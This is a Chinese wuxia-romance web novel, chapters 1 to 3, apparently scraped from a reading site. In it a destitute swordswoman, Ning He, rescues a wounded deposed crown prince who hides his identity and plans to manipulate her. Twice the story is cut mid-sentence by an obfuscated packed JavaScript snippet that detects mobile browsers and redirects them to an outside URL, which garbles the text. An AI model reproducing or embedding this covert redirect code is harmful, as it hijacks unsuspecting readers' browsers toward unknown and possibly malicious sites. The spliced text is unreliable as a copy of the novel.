《既见青禾》 1. 第1章 暮春吴郡,雨丝如愁。 正值傍晚,茶肆摊贩快打烊闭店,河上乌篷船停泊,亮起点点渔火。 坊巷里也陆陆续续燃起烛火,唯独城东一条小巷暗着,萧索荒凉。 这巷是吴郡出了名的“鬼巷”,住的人早搬空了,只剩几间破屋立在朦胧雨雾里,黑漆漆、四方方,像是幢幢棺材。 整整一条巷子都静悄悄的,剩雨打残垣的沙沙声,听得人心里发毛。 宁禾背着剑,披上蓑衣戴斗笠出了门。 断粮一日半,她腹中空空,眼底蒙着倦意,走路发飘。 伸手摸了摸腰间三个铜板,她幽幽叹了口气。 前几天陈家出了事,把府里的护卫遣散了大半,她就是其中之一。 虽说她不全靠护卫的酬劳吃饭,偶尔会赚点买命钱,但养剑很贵,伤药很贵,而她却很少接到活。 几个月接一次,一次只够花月余。 再不吃饭,她就要成这鬼巷的一员了。 选傍晚宵禁前出门,是因为有些食摊收摊前的包子烧饼很便宜,不过就是有点干巴。 走过间塌了半面墙的旧宅,宁禾鼻尖微动,旋即脸色微凝,拔出了剑。 潮湿的雨气里飘来若有若无的血腥味。 她是剑客,自然对这种味道十分敏锐。 眯了眯眼,放轻脚步继续往前走。 转过墙角,视线定格在横在小路当中的黑影上。 是个少年。 他趴伏在地上看不清脸,身上穿着细葛大袖衫,白色的衣料上洇着大团血迹,鲜血混着泥水,被雨水冲到地上,晕开一大片,生死不明。 宁禾收回目光,暗骂了句晦气。 这人一看就是被仇家追杀至此的,除非她疯了才多管闲事。 而且师父说过,路边的男人不能捡。 她目不斜视,抬脚跨过去。 裤脚突然被人扯住,力道极大。 “这位娘子……留步。” 声音裹着雨雾,微弱飘渺,却难掩悦耳,如清泉沉玉。 她眉梢一挑,不耐烦扭头。 少年仰着脸,雨水洗净了他脸上的血污,让宁禾透过黯淡的暮色看清了他的容貌。 肤苍白如雪,几缕湿润乌发蜿蜒黏在脸颊上。眉若远山含黛,眼睫纤长,湿漉漉垂着,是士族子弟特有的斯文秀雅。 宁禾多看了两眼,心说倒是好容色,略微有点惋惜。 下一刻便抬腿往旁侧甩,力道足够让他松劲。 段沉玉闷哼一声,拉扯到伤口的痛让他松了手。 宁禾没搭理,准备抬脚离开。 转身前,少年从怀里掏出来个钱袋。 宝蓝色,忍冬纹,不似大晋货样。 “哗啦”一声,袋口松开,碎银滚落在青石板路上。 “这袋银钱……求娘子救我。” 少年气若游丝哀求:“事后另有五十两银…相谢,绝无虚言。” 他说话时,眼睫微微抬起,露出两丸沉水黑玉眸。 真挚有礼,不像会骗人的样子。 宁禾的目光在钱袋上停顿了一下,挪到少年脸上,又环顾四周,天上地下,确定没有第二个人后,摸了摸空瘪的肚子。 她叹了口气自嘲:“算你命好,遇上我这馋鬼。” 说着弯腰把散落的银子捡起来装回钱袋,妥帖挂在腰间,才把他像扛包袱一样扛上肩头。 段沉玉腹部有伤,被她肩膀一硌,疼得差点再次昏过去。 虎落平阳被犬欺,要不是他没法,定不会向这种粗鲁的江湖人求救。 宁禾扛着人往巷尾走,脚步踩在积水里,溅起的水花打湿了裤脚。 雨还在下,雾更浓了,两人的影子忽隐忽现,没入深巷不见。 * 宁禾住的小院外面看着破,里面却收拾地整齐利落,东墙角有颗梧桐树,绿意盎然,亭亭如盖。 三年前师父旧疾复发,两人便从天门郡零阳搬来了吴郡,在这处鬼巷拾掇出个院子安家。 可惜,一年前师父还是病逝了,把她孤零零留在这战乱不休的世道。 她把少年扛进屋里,单手摸出火石,“咔嚓”几声点着了桌角的油灯。 外面的天彻底黑了,昏黄的光照亮了一方屋子。 虽然简陋,却很整洁。 一桌一椅一床,还有个竖柜,窗糊着层旧纸,被雨打湿了半边,透进的雾光昏昏沉沉。 她看了眼自己的床,又看了眼桌子,最后把桌上的茶壶和杯子移开,把少年放了上去。 段沉玉躺在长条木桌上,有些懵,强撑着虚弱道:“娘子,在下躺在…桌上,怕是不妥。” 宁禾正从柜子里拿处理伤口的东西,闻言瞥了他一眼,“你弄脏我的床,我今晚睡哪里?” 段沉玉:“……” 很好。 宁禾没再搭理他,出去打了盆水放在椅子上。 她走到少年跟前,抬手就扒他湿黏在身上的衣襟。 段沉玉没想到这女子会猝不及防解他衣裳,他眼睫动了动,忍着没说话。 有些衣料黏在伤口上,她拿起剪刀剪开,一点点揭下来。 他上半身并不瘦弱,反而肌理分明,线条匀称漂亮。 肩头和腹部的几道伤口鲜血淋漓,皮肉翻卷,如同白玉有暇,破坏了美感。 宁禾多把布子打湿拧半干,沾擦去他身上的血污,又用水冲了一下伤口。 刀口传来刺痛,段沉玉也只是皱了下眉,半声不吭。 宁禾多看了他几眼,一面利落处理伤口,一面思索他的来路。 皮肤白皙细腻,手指修长,虎口掌心有薄茧,指腹也有一点,显然并非武林中人,像是擅骑射琴棋的士人。 “郎君叫什么名儿?为何倒在巷子里?” 段沉玉闭着眼,头昏昏沉沉的,闻声强撑着回道:“姓沈单名玉,家父去世,伯父为夺家产雇人杀我,幸逃得此处蒙娘子相救。” 宁禾道:“沈?” 据她所知永嘉之乱后,晋室南渡,中原士族大规模南迁,沈氏也在其中。 沈氏中当属汉时的沈戎家族最为出名,迁至吴兴郡,如今已是名门望族。 难不成他是吴兴沈氏子弟?毕竟商户可养不住他这幅细皮嫩肉和言谈。 可他那钱袋…… 宁禾性子直,却也不是莽撞之人,相反很细心。 若是旁人她定不会直问,可面前少年身受重伤,若有异常也不过是一剑的事。 “你钱袋上的纹样不似晋物,”她抬眼打量少年的神情:“现晋秦交恶,你不会是氐人派来的细作吧?” 段沉玉睁眼,乌黑的眼静静瞧她,柔声解释:“娘子误会了,玉某外祖乃秦商,三年前来晋探望病弱的母亲,带了一些秦布,这钱袋正是其所做。” 他容色甚美,神清骨秀,说话时目光不闪不避,两颗眼珠映着烛火,像黄昏波光粼粼的湖水,清澈见底,很容易叫人放下戒心。 宁禾默默收回视线,点头,“原是如此。” 好似刚才只是随口一问。 剩下腹部的伤很深,光洒药愈合不了,她起身从柜子里拿出一卷布,展开后是一排银针。 拉过桌上的烛台,用火烤了一下,穿上棉细线。 段沉玉闭着眼,意识越来越模糊,他性谨慎,不敢昏过去,试图通过说话清神。 “还不知娘子如何称呼?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349830|183547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宁禾打量了一下他的伤口,“我叫宁禾。” 针尖刺破皮肉,拉扯合并。 剧痛袭来,段沉玉痛哼一声,面如金纸,额头和鼻尖渗出冷汗。 “宁,宁娘子,可有麻沸散?” 他出身皇室,做了十载太子,哪怕被废追杀,东躲西藏月余,身边也有余党亲卫打理生活,更不缺仆从照料,故而不知这药的昂贵。 宁禾动作不停,又穿一针,“这是另外的价钱。” 麻沸散多贵啊,她一年也才舍得买一小瓶,平时伤不重都舍不得用。 听了这话,段沉玉有些惊讶。 他睁开眼,透过模糊的视线看向少女的脸。 灯火昏黄,她神情认真,对方才的话理所当然。 段沉玉过去见的都是端丽的高门闺秀。士族子弟讲究“礼”,讲究“名士风范”,不管私下生活多奢糜,也不会展露出对金银的喜爱。 衣色要雅,言行要雅,再落魄都要维持体面。 士族瞧不起一身铜臭味的人。 他从未见过有人能如此坦坦荡荡求财。 忍了又忍,尖锐的针在他皮肉穿梭,痛得他还是颤了颤。 宁禾按住他,语气有点凶:“别动,一会逢歪了。” 段沉玉眼前一阵阵发黑,他轻抽了口气,终于忍不住:“用麻沸散,有报酬。” “三十两。” 宁禾眼睛一亮,“好嘞!郎君且稍等。” 面对她见钱眼开的态度,段沉玉说不出话来。 宁禾从柜子暗格里拿出个白瓷瓶,小心翼翼打开塞子,往他腹部的伤口洒了点。 药起效很快,段沉玉紧绷的肌肉慢慢放松。 他松了口气,静等她逢完。 麻痹了伤口,宁禾不再顾及,飞快将伤口缝好,用剪刀剪断线,洒药一圈圈包扎。 处理完这些,她看着他湿漉漉沾血的裤子,去柜子里拿出件干净的男衫。 她这种刀尖舔血的,自然会准备各式各样的衣着,方便易容跑路。 把衣裳放旁边,宁禾伸手去解他裤带。 温热的指尖擦过腰腹,酥酥痒痒,段沉玉猛地睁开眼,按住了她的手。 “宁娘子,你……” 宁禾道:“给你换干净衣裳,不然你怎么休息。” 段沉玉温静文雅的神色几乎维持不住。 几日来疲于奔命,险象环生,如今又遇见这么个…不知羞的女郎,内心的烦躁怎么压不住。 他勉力维持礼节:“不劳娘子动手,玉自己来。” 宁禾觉得他真麻烦,这种时候还讲究。 她道:“崩裂伤口我可不会管第二次。” 段沉玉抿唇不说话。 宁禾啧了一声,背过身去。 背后窸窸窣窣轻响,好一会才传来少年清润的嗓音:“宁娘子,我好了。” 她转过身,少年坐在桌上,半湿乌发散垂在腰后,衣裳穿得松松垮垮,呼吸急促双颊晕红,额上一层薄汗。 仅仅穿了个衣裳,就虚成这样。 宁禾叹这些贵族真是身娇体贵。 “我扶你去床上。” 不等人说话,她把他横抱起来,大步走到床边放了下去。 段沉玉半靠硬邦邦的床头,鼻间萦绕着干燥的草木香。 虽然粗糙破陋了些,但好歹能入眠。 他眼睫微抬,侧过头看她,“宁娘子,玉某记得你说,只有一张床?” 宁禾弯腰收拾伤药,闻言头也不回,“对。” 段沉玉困惑:“那娘子今夜何处休息?” 宁禾嫌弃捡起他穿过的血衣,团成一团丢盆里,回头看他,“自然是床。” 2. 第2章 这话入耳,段沉玉长睫颤动,如水黑眸浮现错愕,唇线也因惊讶而微微张开,却又很快抿紧。 他并非不善言辞的人,相反慧心妙舌,行止有度。可此时他却一时不知该作何反应,只无声看着眼前的少女。 桌上孤零零点着盏油灯,昏黄的光团颤巍巍笼住半间屋子。 她站在灯影里,发间和眼睛沾着细碎的光,眼神坦荡得很,仿佛说的不是“同榻而眠”,只是“明日吃什么”般理所应当,全然没觉出这话有何不妥。 段沉玉素有“温君”的美名,接人待物端方温和,可熟他的人才知其性子冷傲,不近人情。 过去便是关系不错的郎君,也从未有过“抵足而眠”类逾矩的提议。 段沉玉觉得被冒犯到了。 他面上不显,眼底氲起愧色,挣扎扶着床沿要下去,喘息微微:“宁娘子,是玉的不是,竟占了你的榻。” “我睡地上便好。” 姿态谦逊,脆弱可怜。 宁禾明白沈玉是介意男女大防。 他受了伤,她收了他的银子,按理说该把床让给他。 可让她睡地上是坚决不愿意的,最近下了那么多雨,地上又湿又冷,要是病了可没人管她,师父不在了。 她端起木盆,干脆利落点头:“好啊。” 段沉玉表情再次凝固。 她不是应该感到惭愧,然后说出睡地上的话吗? 过去他时常这么达到目的。以退为进,用谦和的姿态把人推到道德高地,令人产生愧疚从而退让。 可这手段失效了。 她好像没有常人有的同情心和廉耻心。 话已经说出口,他只好真慢慢坐到床沿,忍着伤口的疼痛,准备扶床架站起来。 宁禾看他那幅样子,轻轻嗤了一声,心里骂了句真能装。 “郎君赶紧躺着吧,我会在中间放东西隔开。” 段沉玉站了一半,脸和后背尽是冷汗,闻言竟松了口气。 他坐回去,望向宁禾的神情看起来很窘迫,“是玉某太矫情,让娘子见笑了。” 宁禾挑眉,心说但是能屈能伸,还算坦荡。 她嗯了一声,“我去把你的衣裳处理掉。” 说罢抱着木盆推门出去了。 段沉玉看着她的身影消失在窗外,脸上局促内敛的神色消失了个干净,肆无忌惮认真打量起这间屋子。 外面的雨停了,月亮从乌云间隙透出冷光,宁禾走到厨房,把柴填进灶膛里用火石点燃。 树枝的烟气冒出,不一会亮起了火光,她把血衣放在地上,借着光亮细细翻看摸索,好一会后停了动作,若有所思。 的确是细葛布料,没有夹层,也没有什么特殊的纹饰。 可那钱袋…… 她把钱袋解下来,又从衣襟里拿出方巴掌大的东西。 这是师父送她的护心镜,用宝蓝色忍冬纹的荷包装着。 这荷包自打她记事起师父就有,哪怕没戴着,也搬到哪里带到哪里,显然是很重要的东西。 一年前师父去世,她把护心镜装在荷包里贴身放,想着如果哪天横尸山野,有这东西陪着,师父若是未投胎,说不定会来接她。 宁禾把钱袋和荷包放在一起,打量着针脚纹饰。 缝合手法不同,但绣纹走向一模一样,俨然出自同一绣娘之手。就算不是,至少也是同门同派。 沈玉真的是沈家人吗? 灶里的火暗了下来,映在宁禾沉凝的眉眼上。 门外刮进来一股风,火星亮了一瞬,她回过神来,抬手把血衣塞进了灶膛。 火光大盛,衣料燃烧的气味弥漫。 她静静望着,脑海中浮现出师父死前交代的话。 “宁禾,你虽武力高强,身怀六甲子内力,但性子纯良,易遭人骗,今日我灯枯油尽,恐去后无人提点你,接下来我说的话,你且牢记在心。” “第一,路边的男人不能捡,不论他是美是丑,是善是恶。” “第二,不得与士族子弟深交,他们尽是伪善之辈,黑心烂肺。” “第三,不得踏出晋地,胡人的地界危险重重。” “第四,也是最重要的一条,不要见色起意,和漂亮俊俏的男人交往。” 宁禾是个很特别的姑娘,她武艺超群,性格坦荡直率,还有张俏丽脸庞,足够惹得那些见惯尔虞我诈的士族子弟动歪心思。 宁扶花不怕她受欺负,只怕她成了牡丹花下鬼。 “男人不是好东西,俊美的男人更不是,如果你动了情,将永无宁日,直到死亡。” 灶里发出“噼啪”轻响,宁禾知道自己已经犯了一戒。 她叹了口气,拿树枝翻了一下灰烬,确定烧干净后站起身。 人为财死鸟为食亡,总要吃饭的。 钱都已经收了,她能怎么办呢?大不了等他伤快好,就立马让他走。 宁禾立刻原谅了自己。 拎起木盆,肚子“咕噜噜”叫了一连串。 她脸扭曲了一下,顿时怨气冲天。 现在宵禁了,出去找吃的不容易,而且她不放心把沈玉留在这,怕钱没拿到人先死了。 想到钱,她突然又意识到一个很严重的问题。 刚刚烧沈玉的衣裳,里面没有其他银子,也没有值钱的东西。 那他之前允诺的报酬,是骗她的? 宁禾大怒,星眸冒火。 好小子,骗姑奶奶/ 头上了。 可人已经救下了,再赶出去要是死了,她岂不是等于谋财害命。 宁禾咬牙切齿,揭开灶上锅的盖子。 他到时候最好能拿出银子,不然别怪她不客气。 锅里面的水已经烧开了,弥漫出热热的白雾。 她忍着气,舀了点缸里的冷水,掺兑好热水后仰头咕咚咚灌进肚子。 何以解饿解气,唯有温水! * 冷月窥窗,暖烛摇影。 段沉玉躺在陌生的床上,闭目听着外面的动静。 他三日未眠,又受了伤,片刻后头脸开始发热,不久思绪就混沌了。 半烧半醒,草木香萦绕,只记得自己睡在个陌生女郎的床上。 门被推开,脚步轻稳,旁边的床榻微动,有人躺在了他旁边,温热干燥的掌心搭上他的额头。 湿漉漉的香,比草木更甜,比花香更清。 是什么熏香? 朦朦胧胧,飘飘荡荡,段沉玉觉得自己躺在火海里,只有这股香气能带来一丝清凉。 “真麻烦。” 旁边的人不满嘟囔,穿上靴子起身。 不多时,冰凉的帕子覆上额头,浇灭几分灼热。 段沉玉动了动眼睫,被黏稠的困意拉入梦境。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349831|183547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宁禾躺在一边,两人中间隔了条薄被,她侧头看着少年发热沉睡的脸,怨气更深了。 麻烦精! * 忽有一夜暑风过,院子里的梧桐叶变得翠绿,风过时影动如波。 段沉玉站在厨房的案板前,手中握着菜刀,娴熟利落地切菜。 半月有余,宁禾不知给他用了什么药,伤已经愈合了大半,能下床活动。 这段日子,她一直在催促他结账走人。 他不能走。 一年前,因他意图扶植寒门,废除中正选官,与士族产生分歧。 一母同胞的三弟段念玉联手东平王,以及母后和外祖琅琊王氏,以“谋逆”罪构陷他。父皇年事已高,糊涂之下听信谗言废黜了他,囚于永巷。 半年前父皇暴毙,段念玉继位,原东宫旧部多被诛杀。三个月前他得到消息,新帝欲斩草除根,他深知留下只是以卵击石,遂埋下布局后,与旧部和亲卫突围,从建康东逃。 一路上他好弟弟派来的“绣衣使”暗中追杀不断,侍卫战死大半,他侥幸逃脱。 如今新帝对外宣称他病重,暗中派人大肆搜查他的踪迹。 晋地不宜久留,他欲往秦去。 想要顺利抵秦,势必要带着宁禾。 段沉玉擅长把控人心,看出宁禾贪财固执,性子粗鲁,但绝非无情之人,相反心思纯善。 为了讨好,今晨她出门后,他洗了她的脏衣裳,又去厨房找出缸里米菜肉,想着通过此举软化她的态度。 他点好灶火,起锅烧油,把切好的肉倒进去,有条不紊的加菜翻炒。 油烟味熏上他的衣衫,段沉玉秀眉微皱,淡淡盯着锅。 都说君子远庖厨,可只要能达到目的,这些又算得了什么? * 宁背着长剑走在巷中,靴子踢着地上的小石子,神情沮丧。 沈玉钱袋里的银子足够她舒舒服服过一个月,可人不能坐吃山空,还是要找谋生的活计。 她认字,也会女红,但都不太精通,只想着能重新找个护院的活干,可半个多月了,人牙子那一点动静都没有,她自己出去也寻不到。 士族高门的护院多“部曲”、“私属”或“门客”,他们通常不会找外客充护卫,而那些富商要么嫌她是女子不肯用,要么给出的酬劳太低、契书有问题。 时至今日都一无所获,眼看就要口袋空空。 接近巷尾,宁禾闻到一股饭香,令她口齿生津。 她猜到是段沉玉做饭,快步走到院前,推门而入。 只见院西墙边的晾衣杆上,挂着她昨日换下的衣衫,湿漉漉往下滴水。 她眉头一皱,往里走了两步。 “宁娘子,你回来了。” 温煦的声音响起。 少年端着个盘子从厨房走出。 一身青布衫,长发用布条松松挽着,如水柔软垂落,身后是摇着绿影的梧桐树。 肤光胜雪,双目如一泓清泉,容色淡极生艳,如明珠生晕,玉山照人。 宁禾愣住了。 果真是美人,还是个贤惠的美人。 自打师父病了,再没人替她洗衣做饭。 她不是什么讲究性子,时常得过且过凑合,此刻忽见这般景象,竟有些手足无措。 错愕持续几息,她脸色突然转冷,“谁让你动我的东西?” 3. 第3章 段沉玉脸上的笑微僵,眸色茫然,还有些委屈:“我见娘子日日奔波,衣衫沾了尘土,便想着……” “想着什么?”宁禾打断他,态度生硬,“想着替我洗衣做饭,便不用付剩下的酬劳,继续留在这里?” 段沉玉脸色微白,赶忙柔声解释:“娘子误会,玉某是想报答救命之恩。” “但娘子说得对,是玉的错,不该私自动你的衣物,还望娘子莫恼,原谅则个。” 宁禾抱紧了怀里的剑,抿唇道:“没有什么救命之恩。” “拿人钱财替人消灾,我和你只有钱财交易,不必多此一举。” 说罢,她转身往门外走。 段沉玉站在原地看着她的背影离去。 脚步声远去后,乌浓的睫毛垂下,他看着盘子里的菜,忽然轻笑一声,面上丝毫不见被践踏好意的羞恼难堪。 他缓缓走到桌边坐下,拿起筷子,慢条斯理吃着,姿态端雅。 这段日子他一直暗中观察宁禾。 少女十五六的年纪,容貌俏丽,眉眼灵动,五官轮廓不似江南女子柔美,自有三分英气三分豪迈。 她日日抱着那把乌鞘剑,言辞不耐,催促他伤好就结清酬劳离开。 今日一事确令他心生恼怒,却也让他明白该如何应对这块硬石头。 * 宁禾走出巷口,漫无目的地往前走,直到看见座小桥,翻身坐在朱红桥栏上。 柳丝拂碧波,夏花荡香风。 她望着河水发呆,手指绕着剑穗。 师父去后,从未有人这般为她洗衣做饭,家对于她而言,只是个歇脚睡觉的地方。 方才看到竹竿上的衣裳,桌上的饭菜,有了久违家的感受。 就像师父还在一样。 这样的感觉令她心慌无措。 无事献殷勤非奸即盗,她知晓这份温情背后或许藏着别的心思。 按理说有福不享是傻子,可她也怕自己会沉溺其中,慢慢忘了本该踽踽独行,无牵无挂。 河水静静流淌,远处传来渔人的吆喝声,还有孩童的嬉闹声。 话虽如此,起伏的情绪平静下来后,宁禾一想到沈玉失落垂眸,一双美目像是蒙了水雾,孤零零在院子里站着,就控制不住产生了点该死的愧疚感。 万一人家真是好心呢?只是一顿饭而已,她反应好像有点过激了。 沈玉说白了是雇主,而且她观察了大半月,基本可以确定他就是士族子弟。她如此疾言厉色,若他日后回到家中,因此事不乐意给她结账就麻烦了。 那些士族她可惹不起。 她苦恼地抓了几把头发,末了长长了叹了口气。 师父说得对,果真不能随便救人。 现在好了,她不仅要考虑谋生活计,还得整日担忧沈玉是不是骗子,会不会给她带来麻烦,最重要的是能不能给她报酬。 * 日头西斜,霞光万丈。 段沉玉坐在院子梧桐树下的石凳上,手中捏着片梧桐叶,指尖摩挲着叶缘,目光落在脚边的石子上,又好似在放空,神姿落寞。 “喂。” 一声清脆的呼唤从头顶传来,带着几分刻意的随意。 段沉玉抬头,只见少女坐在梧桐树的横枝上,鹅黄衫子,乌辫垂肩,眼珠漆黑,长剑斜挎在背,灵俏中带三分潇洒英气。 夕阳的金光落在她脸上,将那双本就明亮的眼映得更亮,星灿月朗,光彩照人。 段沉玉晃了一下神。 还未开口,便见宁禾如飞燕般从树上跃下,稳稳落在他面前。 她手中拎着个油纸包,抛到他怀里,语气别扭:“给你的。” 段沉玉伸手接住,触手温热,打开一看,里面是两块桂花糕,香气扑鼻。 他心中冷嗤,眼角眉梢却浮现出羞赧的笑:“多谢宁娘子,玉很喜欢。” 宁禾轻咳了一声,别过头往屋里走:“随便买的,你快吃吧。” 段沉玉跟上去,关心道:“娘子可用过饭了?灶台上还煨着饭菜。” 宁禾愣住,调转脚步走到厨房,灶台角落里摆着一碗一盘,用盘子扣着。 揭开来看,碗里是米,盘子里是菜,摸了摸碗盘边缘,都还温热。 她抿唇,感觉更愧疚了。 被她凶了一顿,一句怨言没有不说,还留了饭。 脾气也太好了,长得也好,跟菩萨似的。 段沉玉站在厨房门口,看到少女脸上表情变幻,适时开口:“娘子,可是饭菜不合胃口?” “玉不擅下厨,让你见笑了。” 宁禾回过神,看到他脸上的紧张和局促,“没有不好。” 段沉玉松了口气:“那就好,娘子快用饭吧,天快暗了。” 宁禾随口应了一声,端着饭菜就去了屋子。 她洗手坐下,拿起筷子夹菜放进嘴里,动作一顿,眼里透出几分惊讶。 出乎意料,他的厨艺非常不错。 宁禾十八般武艺样样精通,唯独做饭难吃。师父宁扶花也是个不擅长做饭的,师徒俩有钱的时候都是去食肆吃。 后来宁扶花旧疾复发,宁禾为了给她治病花光了积蓄,两人才被迫搬来这无人鬼巷。 没了钱就要自己做饭,宁禾苦学一月,奈何实在没天分,做的东西难以入口,只能说是熟了能吃。 她埋头吃起来,心里默默感叹,之前过得什么苦日子,这才是人该吃的东西啊! 段沉玉看着少女吃饭的模样,秀眉拧了一下。 风卷残云,虽不粗鲁,却总归也不是女郎该有的用食姿态。 大晋以身姿飘逸为美,他还没见过哪个女郎这般……爽朗。 视线扫过她的面颊,慢慢下移,落在了桌沿下腰肢上。 盈盈一握,线条流畅。 他暗中端详了片刻,有些疑惑。 她吃的饭都去了哪? 宁禾感觉到了少年若有若无的打量,疑惑抬眼看过去。 段沉玉对上那双黑白分明的眼睛,把油纸包里的桂花糕推过去,微微一笑:“玉留的饭菜不多,宁娘子不如再吃些糕点。” 宁禾看着淡黄色的糕点,捏着筷子的手收紧了。 她垂眼戳了一下饭,“不用了,给你买的。” 啊啊啊啊这人为何如此贴心,弄得她更愧疚了。 段沉玉看着她的动作,音如清泉柔润:“玉想和娘子分享。” 宁禾:“……” 她沉默了一会,突然抬眼看他,目光坦荡真诚:“那会不该凶你,对不住。” 段沉玉莞尔一笑,丝毫不见芥蒂:“何须致歉?当日确是玉唐突,未经过娘子同意便动了衣物,本就是我的不是。日后再有此类事,我定先问过姑娘,绝不自作主张。” 宁禾愣愣看他,神情古怪。 这人怎么还反而向她道歉呢。 面对少年清澈温和的眼,感觉浑身难受,凳子好像长了刺。 她坐不住了,胡乱哦了一声,三两口扒完饭,嘴一抹站起来道:“我有点事,碗筷你放着我回来收拾。” 说完转身出了屋子。 段沉玉看着少女落荒而逃的背影,捻起油纸包中微凉的糕点。 冷白玉指修长,糕点淡黄半透。 放入口中,轻轻咀嚼,下一刻便吐到了油纸上。 他端起茶杯啜了口茶,眼里浮现出傲慢的嫌弃。 甜腻干涩,难以下咽,也好意思拿来赔礼道歉。 * 宁禾在外面走了一圈消食,宵禁前回了家。 推门进屋子,段沉玉正坐在灯下。 灯火昏黄,他手里捧着卷书,正低头细读,粗布青袍穿在身上,反被他衬出飘逸昂贵之感。 听到动静,他抬眼看过来,双眼映着烛火,如两丸剔透的琉璃。 “宁娘子,你回来了。” 宁禾嗯了一声,解下剑放在桌沿,拉过张木凳坐在桌子另一边。 屋内只听得见段沉玉翻书的轻响,还有窗外时有时无的风声。 她静坐了片刻,问道:“你伤势也差不多好了,打算什么时候走?” 段沉玉翻书的手顿住,他缓缓抬起头看向宁禾,眸光失落,轻轻摇了摇头,“我也不知道。护我逃亡的亲卫还不曾有消息,家里支持我的长辈也未寻来。” 顿了顿,他轻声道:“宁娘子放心,玉君子一言,待亲信寻来,定重金相报。” 宁禾没说什么,拿起剑起身:“别赖账就行。” 段沉玉道:“这么晚了,娘子去何处?” 宁禾回头看他一眼,“不该问的别问。” 说完推门出去。 段沉玉重新低头看书,一阵脚步声后,他听到旁边屋子的门“吱呀”一声开了。 扶着书页的手一顿,他抬眼看向窗户。 被宁禾捡回来的第二天,他就看到一墙之隔还有间屋子。 那屋子被暗色的窗纸糊住,遮得严严实实,门窗上也挂着大锁,根本没有进去的机会。 整整半个多月,宁禾都不曾进去。 他知道她今夜要去何处,可那屋子里到底有什么? 段沉玉细细听着,却除了一开始的开门声,什么都听不到了。 * 十五夜,月色最盛。 宁禾走到隔壁屋子,开锁推门,一股淡淡的潮气扑面。 屋中无灯,四壁窗纸都糊了三层粗麻纸,厚得月光透不进多少,屋内昏沉沉的,仅有门缝漏进点月光。 里头陈设整齐,最里放着张床,青色幔帐,被子整齐叠在床角,褥上有褶皱,像是还在睡人。 东墙边的条桌上立着牌位,名“恩师宁扶花之位”。 这是宁扶花生前的屋子。 宁禾性子直,平日看着有些冷,但实际是重情之人,宁扶花死后,她把这屋子锁了起来,隔三差五会进来清扫地面擦擦桌子,一坐就是一两个时辰。 她没有动里面的东西,觉得这样好像师父还在。 桌子上的茶壶茶杯都还是师父走那天的,里面的水已经干了,茶叶干巴巴沾在里面,有些发黑。 她静静看了一会,给师父上炷香,弯腰闭眼,口中低低念叨。 “老花啊,你要是还没投胎,一定保佑徒儿今日能接到活,不然你徒儿要被迫加入丐帮了。” “到时候你可别怪我叛出师门啊,都是生活所迫。” 念了一阵,她拜了三拜,把香插在香炉里。 站起来又看了会牌位,她走到镜台前坐下。 这间屋子除了住她师父外,还放着些工具。 拉开镜台抽屉,里面堆着易容用的膏粉、黛笔、假胡须和假发等。 宁禾借着微弱的灯火打开木盒。 她先取过深褐色膏粉,往脸上、脖颈处细细涂抹,将原本的肤色遮得暗沉,又用眉笔将眉峰描粗,再将假发戴好,挽成个乱糟糟的发髻,用根木簪固定,最后换上灰布短褐与旧布鞋。 不过半柱香,先前俏丽英气的女郎,便成了个平平无奇的青年。 戴上斗笠,她吹灭油灯推门而出。 月色下,少女足尖轻点,身形如柳絮般飘起,转眼跃入暮色。 约莫一刻,宁禾停在一处桥边树荫下,对岸不远处是大小巷子交错纵横的坊。 她没有直接走,纵身跃至桥下乌 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头顶用木梁撑起,镶满夜明珠,将整个黑市照得亮如白昼。 每隔几步便有个摊位,摊主多戴着帷帽或面具,只露出双眼睛。摊上摆着各式物件,有生锈的兵器、泛黄的古籍,也有来历不明的珠宝、草药,甚至还有售卖消息的木牌,上面写着“寻物”“寻人”“查事”等字样,旁边标着银钱数目。 除了摊子外,还有不同的店肆。 食肆、茶楼、堵坊、花楼,笑声嘈杂,热闹非凡。 往来之人穿各色衣裳,有挎剑的游侠,有束着绑腿的短打汉子,还有衣着华贵的富商。 这是江南一带最大的黑市,每月十五开,每次开四日,如果错过就只能等下月。 前朝覆灭后天下三分,晋祖夺魏权,不久后八王之乱,南迁胡人趁机举兵,匈奴攻入长安,大批士族和百姓南渡,皇族段睿建都建康,北方被外族占据。 虽说政权重建,内斗却不断,还时不时有流民举兵。 皇室士族是知晓黑市存在的,他们不管,是因为也需要有人帮他们做些见不得光的勾当。 宁禾拢了拢灰布短褐的衣襟,顺着人流往里走,穿过外层,便见一道半人高的石门,门旁立着两个穿黑衫的汉子,腰间别着短匕,目光锐利地扫过往来之人。 石门内是更隐秘的地方,专做暗杀、寻仇、探密之类的暗活。 “暗号。”左侧黑衫汉子拦住建她,声音冷硬。 “夜走鬼门,钱换命来。” 汉子点点头,侧身让开。石门后是条窄巷,两侧皆是木门店铺,门楣上挂着字号。 诸如“索命坊”“断愁阁”,最深处那家挂着块黑木匾,刻着“鬼阁”两个龙飞凤舞的大字,是她常接活的地方。 宁禾推开门,店内光线比外头暗些,柜台后坐着个穿灰袍的老者,脸上布满皱纹,手指枯瘦,正低头拨着算盘。 柜台上摆着个香炉,里面燃着线香,烟气袅袅。 老者头没有抬头,已经知道来者何人。 “还是老规矩?” “嗯,要快结的,酬劳不低于一百两。” 宁禾走到柜台前,双手按在柜面。 老者抬眼,浑浊的目光扫过她的脸,“这次有个三百两的,接不接?” 宁禾皱眉:“金玉刀,你想坑我?” 